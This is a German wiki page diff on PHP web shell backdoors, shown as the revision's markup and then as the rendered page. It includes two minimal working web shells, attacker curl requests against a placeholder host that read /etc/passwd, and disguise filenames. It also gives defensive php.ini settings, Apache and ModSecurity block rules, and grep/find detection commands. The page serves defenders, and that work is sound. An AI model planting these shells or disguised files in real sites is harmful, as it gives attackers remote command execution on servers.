Php Malicious: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| Zeile 1: | Zeile 1: | ||
| − | + | ||
| − | + | == Web Shell Backdoors == | |
| + | |||
| + | === Beschreibung === | ||
| + | |||
| + | Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer | ||
| + | eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht – erreichbar über einen | ||
| + | normalen HTTP-Request, ohne SSH- oder FTP-Zugang. | ||
| + | |||
| + | === Was der Angreifer will === | ||
| + | |||
| + | Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt. | ||
| + | |||
| + | === Typisches Angriffsmuster === | ||
| + | |||
| + | ==== Minimale Web Shell (GET) ==== | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | if (isset($_GET['cmd'])) { | ||
| + | system($_GET['cmd']); | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | Aufruf durch den Angreifer: | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | curl "http://opfer.example.com/uploads/header.php?cmd=id" | ||
| + | # uid=33(www-data) gid=33(www-data) groups=33(www-data) | ||
| + | |||
| + | curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Erweiterte Shell über POST ==== | ||
| + | |||
| + | POST-Parameter sind im Access-Log schwerer zu erkennen als GET-Parameter: | ||
| + | |||
| + | <syntaxhighlight lang="php"> | ||
| + | <?php | ||
| + | if (isset($_POST['x'])) { | ||
| + | $output = shell_exec($_POST['x'] . ' 2>&1'); | ||
| + | echo '<pre>' . $output . '</pre>'; | ||
| + | } | ||
| + | ?> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \ | ||
| + | -d 'x=whoami' | ||
| + | # www-data | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Typische Tarnnamen ==== | ||
| + | |||
| + | Angreifer benennen Web Shells gezielt unauffällig: | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | /uploads/img001.php | ||
| + | /images/header.php | ||
| + | /cache/.thumbs.php # führender Punkt → unsichtbar ohne ls -a | ||
| + | /wp-includes/class-wp-image.php | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | === Red Flags === | ||
| + | |||
| + | * <code>system()</code>, <code>exec()</code>, <code>shell_exec()</code>, <code>passthru()</code> | ||
| + | * Direkter Zugriff auf <code>$_GET</code>, <code>$_POST</code> oder <code>$_REQUEST</code> ohne Validierung | ||
| + | * Keine Authentifizierung | ||
| + | * PHP-Dateien in <code>/uploads/</code>, <code>/images/</code>, <code>/cache/</code> | ||
| + | |||
| + | === Gegenmaßnahmen === | ||
| + | |||
| + | ==== Gefährliche Funktionen in php.ini deaktivieren ==== | ||
| + | |||
| + | <syntaxhighlight lang="ini"> | ||
| + | ; /etc/php/8.2/apache2/php.ini | ||
| + | disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | systemctl restart apache2 | ||
| + | |||
| + | # Test: | ||
| + | php -r "system('id');" | ||
| + | # PHP Warning: system() has been disabled for security reasons | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== PHP-Ausführung in Upload-Verzeichnissen unterbinden ==== | ||
| + | |||
| + | <syntaxhighlight lang="apache"> | ||
| + | # /etc/apache2/conf-available/no-php-uploads.conf | ||
| + | <Directory /var/www/html/uploads> | ||
| + | <FilesMatch "\.php$"> | ||
| + | Require all denied | ||
| + | </FilesMatch> | ||
| + | </Directory> | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | a2enconf no-php-uploads | ||
| + | systemctl reload apache2 | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== WAF-Regel (Coraza / ModSecurity) ==== | ||
| + | |||
| + | <syntaxhighlight lang="apache"> | ||
| + | SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell)$" \ | ||
| + | "id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'" | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | ==== Nach Web Shells suchen ==== | ||
| + | |||
| + | <syntaxhighlight lang="bash"> | ||
| + | # PHP-Dateien mit Shell-Funktionen im Webroot | ||
| + | grep -rn --include="*.php" \ | ||
| + | -e "system\s*(" \ | ||
| + | -e "shell_exec\s*(" \ | ||
| + | -e "passthru\s*(" \ | ||
| + | -e "exec\s*(" \ | ||
| + | /var/www/html/ | ||
| + | |||
| + | # PHP-Dateien in Upload-Verzeichnissen – sollte leer sein | ||
| + | find /var/www/html/uploads -name "*.php" -type f | ||
| + | |||
| + | # Kürzlich geänderte PHP-Dateien | ||
| + | find /var/www/html -name "*.php" -mtime -7 | ||
| + | |||
| + | # Requests auf Upload-Verzeichnisse im Access-Log | ||
| + | grep "uploads/.*\.php" /var/log/apache2/access.log | ||
| + | </syntaxhighlight> | ||
| + | |||
| + | [[Kategorie:Web Security]] | ||
| + | [[Kategorie:PHP]] | ||
| + | [[Kategorie:Malware]] | ||
Version vom 31. Mai 2026, 17:26 Uhr
Web Shell Backdoors
Beschreibung
Eine Web Shell ist eine in eine Webapplikation eingeschleuste PHP-Datei, die dem Angreifer eine ferngesteuerte Kommandoausführung auf dem Server ermöglicht – erreichbar über einen normalen HTTP-Request, ohne SSH- oder FTP-Zugang.
Was der Angreifer will
Ein verstecktes „Control Panel", das beliebige Systembefehle auf dem Server ausführt.
Typisches Angriffsmuster
Minimale Web Shell (GET)
<?php
if (isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
Aufruf durch den Angreifer:
curl "http://opfer.example.com/uploads/header.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
curl "http://opfer.example.com/uploads/header.php?cmd=cat+/etc/passwd"
Erweiterte Shell über POST
POST-Parameter sind im Access-Log schwerer zu erkennen als GET-Parameter:
<?php
if (isset($_POST['x'])) {
$output = shell_exec($_POST['x'] . ' 2>&1');
echo '<pre>' . $output . '</pre>';
}
?>
curl -X POST http://opfer.example.com/wp-includes/class-wp-image.php \
-d 'x=whoami'
# www-data
Typische Tarnnamen
Angreifer benennen Web Shells gezielt unauffällig:
/uploads/img001.php
/images/header.php
/cache/.thumbs.php # führender Punkt → unsichtbar ohne ls -a
/wp-includes/class-wp-image.php
Red Flags
system(),exec(),shell_exec(),passthru()- Direkter Zugriff auf
$_GET,$_POSToder$_REQUESTohne Validierung - Keine Authentifizierung
- PHP-Dateien in
/uploads/,/images/,/cache/
Gegenmaßnahmen
Gefährliche Funktionen in php.ini deaktivieren
; /etc/php/8.2/apache2/php.ini
disable_functions = system, exec, shell_exec, passthru, popen, proc_open, pcntl_exec
systemctl restart apache2
# Test:
php -r "system('id');"
# PHP Warning: system() has been disabled for security reasons
PHP-Ausführung in Upload-Verzeichnissen unterbinden
# /etc/apache2/conf-available/no-php-uploads.conf
<Directory /var/www/html/uploads>
<FilesMatch "\.php$">
Require all denied
</FilesMatch>
</Directory>
a2enconf no-php-uploads
systemctl reload apache2
WAF-Regel (Coraza / ModSecurity)
SecRule ARGS_NAMES "@rx ^(cmd|exec|command|shell)$" \
"id:1001,phase:2,deny,status:403,msg:'Web Shell Parameter detected'"
Nach Web Shells suchen
# PHP-Dateien mit Shell-Funktionen im Webroot
grep -rn --include="*.php" \
-e "system\s*(" \
-e "shell_exec\s*(" \
-e "passthru\s*(" \
-e "exec\s*(" \
/var/www/html/
# PHP-Dateien in Upload-Verzeichnissen – sollte leer sein
find /var/www/html/uploads -name "*.php" -type f
# Kürzlich geänderte PHP-Dateien
find /var/www/html -name "*.php" -mtime -7
# Requests auf Upload-Verzeichnisse im Access-Log
grep "uploads/.*\.php" /var/log/apache2/access.log